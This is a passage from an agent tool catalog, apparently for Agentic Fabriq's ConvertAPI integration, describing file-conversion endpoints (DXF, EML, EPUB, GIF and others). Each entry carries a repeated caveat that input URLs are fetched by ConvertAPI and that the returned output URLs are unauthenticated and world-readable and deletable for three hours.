Control page size and orientation or specify exact width/height for consistent results, and choose an output color space tuned for PDF. Designed for automation, the API produces predictable output across varied drawings and layouts without requiring desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/pdf. Scopes: api. convertapi_post_convert_dxf_to_png (write) — DXF to PNG Conversion API via POST /convert/dxf/to/png. Convert AutoCAD DXF drawings to PNG for web, applications, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, output color space, and mapping a color to transparency for predictable compositing. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/png. Scopes: api. convertapi_post_convert_dxf_to_svg (write) — DXF to SVG Conversion API via POST /convert/dxf/to/svg. Convert AutoCAD DXF drawings to clean, web-friendly SVG graphics. Select model or paper space (or provide a custom space), export layers as needed, and control output with explicit width/height to fit your UI or storage constraints. Choose an SVG-appropriate color space for consistent rendering and tune precision for crisp lines and shapes. Ideal for embedding plans, diagrams, and schematics as scalable vectors across browsers and devices. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/svg. Scopes: api. convertapi_post_convert_dxf_to_tiff (write) — DXF to TIFF Conversion API via POST /convert/dxf/to/tiff. Convert AutoCAD DXF drawings to robust TIFF images for records, print workflows, and interoperability. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, and output color space. Choose compression and generate single- or multi-page TIFF to fit your pipeline. Ideal for producing consistent, high-fidelity snapshots across varied drawings without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/tiff. Scopes: api. convertapi_post_convert_dxf_to_webp (write) — DXF to WebP Conversion API via POST /convert/dxf/to/webp. Convert AutoCAD DXF drawings to modern WebP images for compact, high-quality delivery. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, explicit width/height, output color space, and transparent color mapping. Choose lossless or lossy compression and adjust quality to balance fidelity and file size for web and mobile pipelines. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/webp. Scopes: api. convertapi_post_convert_email_to_extract (write) — EML & MSG Extract API via POST /convert/email/to/extract. EML and MSG attachment extraction API is a powerful API designed to simplify the extraction of attachments from EML & MSG email files. This robust solution caters to developers, IT professionals, and businesses seeking efficient ways to automate the retrieval of documents, images, and other critical data embedded in email attachments. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/email/to/extract. Scopes: api. convertapi_post_convert_email_to_metadata (write) — Email Metadata Extraction API via POST /convert/email/to/metadata. The Email Metadata Extraction API is designed to help developers programmatically access and extract metadata from emails. This API simplifies the process of retrieving key information such as sender details, timestamps, subject lines, and attachment data from emails, making it easier to integrate email data into various applications and workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/email/to/metadata. Scopes: api. convertapi_post_convert_eml_to_jpg (write) — EML to JPG Conversion API via POST /convert/eml/to/jpg. Render EML email messages to JPG images for preview, sharing, and archiving. Choose to include message headers, convert attachments, and optionally merge the email body with attachments into a single output. Control image resolution, explicit width/height, and JPEG quality to balance clarity and file size. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/eml/to/jpg. Scopes: api. convertapi_post_convert_eml_to_pdf (write) — EML to PDF API: Convert EML emails to PDF with Options via POST /convert/eml/to/pdf. The EML to PDF API swiftly converts EML email files into PDF documents, offering a rapid solution to your email file conversion needs. It includes options for adding email headers, adjusting page orientation and size, setting margins, and compressing files. The API also supports converting email attachments and merging them with email bodies, creating PDF and PDF/A compliant documents. This API is useful for businesses needing to archive emails in a standardized and accessible format, and for legal firms requiring documented email evidence in a secure, non-editable format. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/eml/to/pdf. Scopes: api. convertapi_post_convert_eml_to_png (write) — EML to PNG Conversion API via POST /convert/eml/to/png. Render EML email messages into high-quality PNG images suitable for review, sharing, and long-term archiving. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the email body and, when needed, merge the email body with attachments into a single output to streamline delivery. Control output clarity and layout with image resolution (DPI) and explicit width/height to match UI or storage constraints. Designed for automation scenarios, the API processes individual messages or batches consistently while retaining visual fidelity of the original content. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/eml/to/png. Scopes: api. convertapi_post_convert_eml_to_tiff (write) — EML to TIFF Conversion API via POST /convert/eml/to/tiff. Render EML email messages into TIFF images for review, records management, and long-term archiving. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the body and, when needed, merge the email body with attachments into a single output to streamline delivery. Control output clarity and layout with image resolution (DPI) and explicit width/height to match storage or workflow constraints. Generate single- or multi-page TIFF to accommodate lengthy threads or consolidated outputs while maintaining consistent visual fidelity across batches. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/eml/to/tiff. Scopes: api. convertapi_post_convert_eml_to_webp (write) — EML to WebP Conversion API via POST /convert/eml/to/webp. Render EML email messages into modern WebP images suitable for review, sharing, and efficient storage. Optionally include message headers to preserve sender, subject, and timestamp details. Convert attachments alongside the email body and, when needed, merge the body with attachments into a single output for convenience. Control results with WebP options such as lossless/lossy mode and quality factor, plus image resolution (DPI) and explicit width/height to fit UI or storage constraints. Designed for automation, the API handles individual items or batches consistently while balancing clarity against minimal file size. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/eml/to/webp. Scopes: api. convertapi_post_convert_epub_to_jpg (write) — EPUB to JPG Conversion API via POST /convert/epub/to/jpg. Render EPUB eBooks to JPG images for previews, sharing, and archival use. Control output resolution, explicit width/height, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails, galleries, and quick reviews without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/epub/to/jpg. Scopes: api. convertapi_post_convert_epub_to_pdf (write) — EPUB to PDF Conversion API via POST /convert/epub/to/pdf. Convert EPUB eBooks to PDF for easy distribution and printing. Customize base font size, select page size, and set precise margins to match your brand or print requirements. Ideal for generating consistent, accessible documents without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/epub/to/pdf. Scopes: api. convertapi_post_convert_epub_to_png (write) — EPUB to PNG Conversion API via POST /convert/epub/to/png. Render EPUB eBooks to PNG images for previews, sharing, and archival use. Control output resolution and explicit width/height for sharp, lossless screenshots. Ideal for thumbnails, galleries, and quick reviews without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/epub/to/png. Scopes: api. convertapi_post_convert_epub_to_tiff (write) — EPUB to TIFF Conversion API via POST /convert/epub/to/tiff. Render EPUB eBooks to TIFF images for previews, sharing, and archival use. Control output resolution and explicit width/height to match print or display needs. Ideal for production pipelines that require consistent, high-fidelity page images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/epub/to/tiff. Scopes: api. convertapi_post_convert_epub_to_webp (write) — EPUB to WebP Conversion API via POST /convert/epub/to/webp. Render EPUB eBooks to WebP images for previews, galleries, and archival use. Control output resolution, explicit width/height, and image quality to balance clarity and file size. Ideal for thumbnails and review workflows without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/epub/to/webp. Scopes: api. convertapi_post_convert_facturx_to_peppol (write) — Factur-X to Peppol API via POST /convert/facturx/to/peppol. Factur-X to Peppol API converts Factur-X electronic invoices into Peppol BIS Billing 3.0 UBL XML, ready to send over the Peppol network. Submit either the raw Cross Industry Invoice (CII) XML or a Factur-X PDF/A-3 file - when a PDF/A-3 is provided, the embedded invoice XML is extracted automatically before conversion. Every field of the EN 16931 semantic model is mapped, including invoice header, seller and buyer parties, delivery, payment means and terms, document- and line-level allowances and charges, VAT breakdown, monetary totals, and all invoice lines. Credit notes (type code 381) are emitted as a UBL CreditNote. Automate compliant electronic invoicing directly from your accounting or... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/facturx/to/peppol. Scopes: api. convertapi_post_convert_file_to_md (write) — File to Markdown API via POST /convert/file/to/md. Convert PDF, Word, Excel, PowerPoint and HTML documents to Markdown with a single universal API, without picking a converter per file type. Markdown is the format large language models read best, so this converter is built for AI workloads. The output keeps the document structure that matters downstream: headings become Markdown headings, so chunking on them keeps every chunk in context; tables become Markdown tables that models read reliably; lists, emphasis and links are preserved. Page headers and footers are left out, keeping the text free of the noise that pollutes embeddings; spreadsheets become one table per worksheet, labeled with its sheet name, and presentations one section per... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/file/to/md. Scopes: api. convertapi_post_convert_file_to_pdf (write) — File to PDF Conversion API via POST /convert/file/to/pdf. Convert documents, images, emails, eBooks, CAD drawings and more to PDF with a single universal API. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/file/to/pdf. Scopes: api. convertapi_post_convert_file_to_zip (write) — File to Zip API via POST /convert/file/to/zip. Package multiple files into a single ZIP archive for easy sharing and storage. Control output name, choose a compression level that balances size and speed, and optionally protect the archive with a password. Ideal for bundling reports, assets, or backups into a compact, portable file without requiring desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/file/to/zip. Scopes: api. convertapi_post_convert_gif_to_gif (write) — GIF to GIF Conversion API via POST /convert/gif/to/gif. Convert or optimize GIF images and generate animated GIFs when multiple frames are provided. Fine-tune playback with frame persistence (keep last frame), per-frame delay, and total animation iterations to meet UX or platform guidelines. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for consistent rendering across devices. Adjust color handling to balance palette size and visual fidelity while keeping file size small. Ideal for UI previews, messaging, and web delivery where broad GIF support is required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/gif. Scopes: api. convertapi_post_convert_gif_to_jpg (write) — GIF to JPG Conversion API via POST /convert/gif/to/jpg. Convert GIF images to JPG while handling transparency that JPEG does not support. Replace transparent regions with a specified background color to ensure consistent appearance across light and dark themes. Use general image parameters to set resolution (DPI), scaling behavior, and explicit width/height for predictable display and storage. Choose color space for device consistency and adjust JPEG quality to balance visual clarity and file size. Ideal for preparing UI previews, email imagery, and web assets where opaque raster output is required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/jpg. Scopes: api. convertapi_post_convert_gif_to_pdf (write) — GIF to PDF Conversion API via POST /convert/gif/to/pdf. Convert GIF images to PDF for easy sharing, printing, and archival. Control page size and orientation, set precise horizontal/vertical margins, and rotate content to match layout requirements. Choose color settings and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/pdf. Scopes: api. convertapi_post_convert_gif_to_png (write) — GIF to PNG Conversion API via POST /convert/gif/to/png. Convert GIF images to widely supported PNG format for web, mobile, and application use. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing UI assets, screenshots, and graphics for distribution or display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/png. Scopes: api. convertapi_post_convert_gif_to_pnm (write) — GIF to PNM Conversion API via POST /convert/gif/to/pnm. Convert GIF images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), select scaling behavior, and define exact width/height for predictable results across inputs. Choose grayscale or RGB output as appropriate, and map transparent regions to a specified background color when 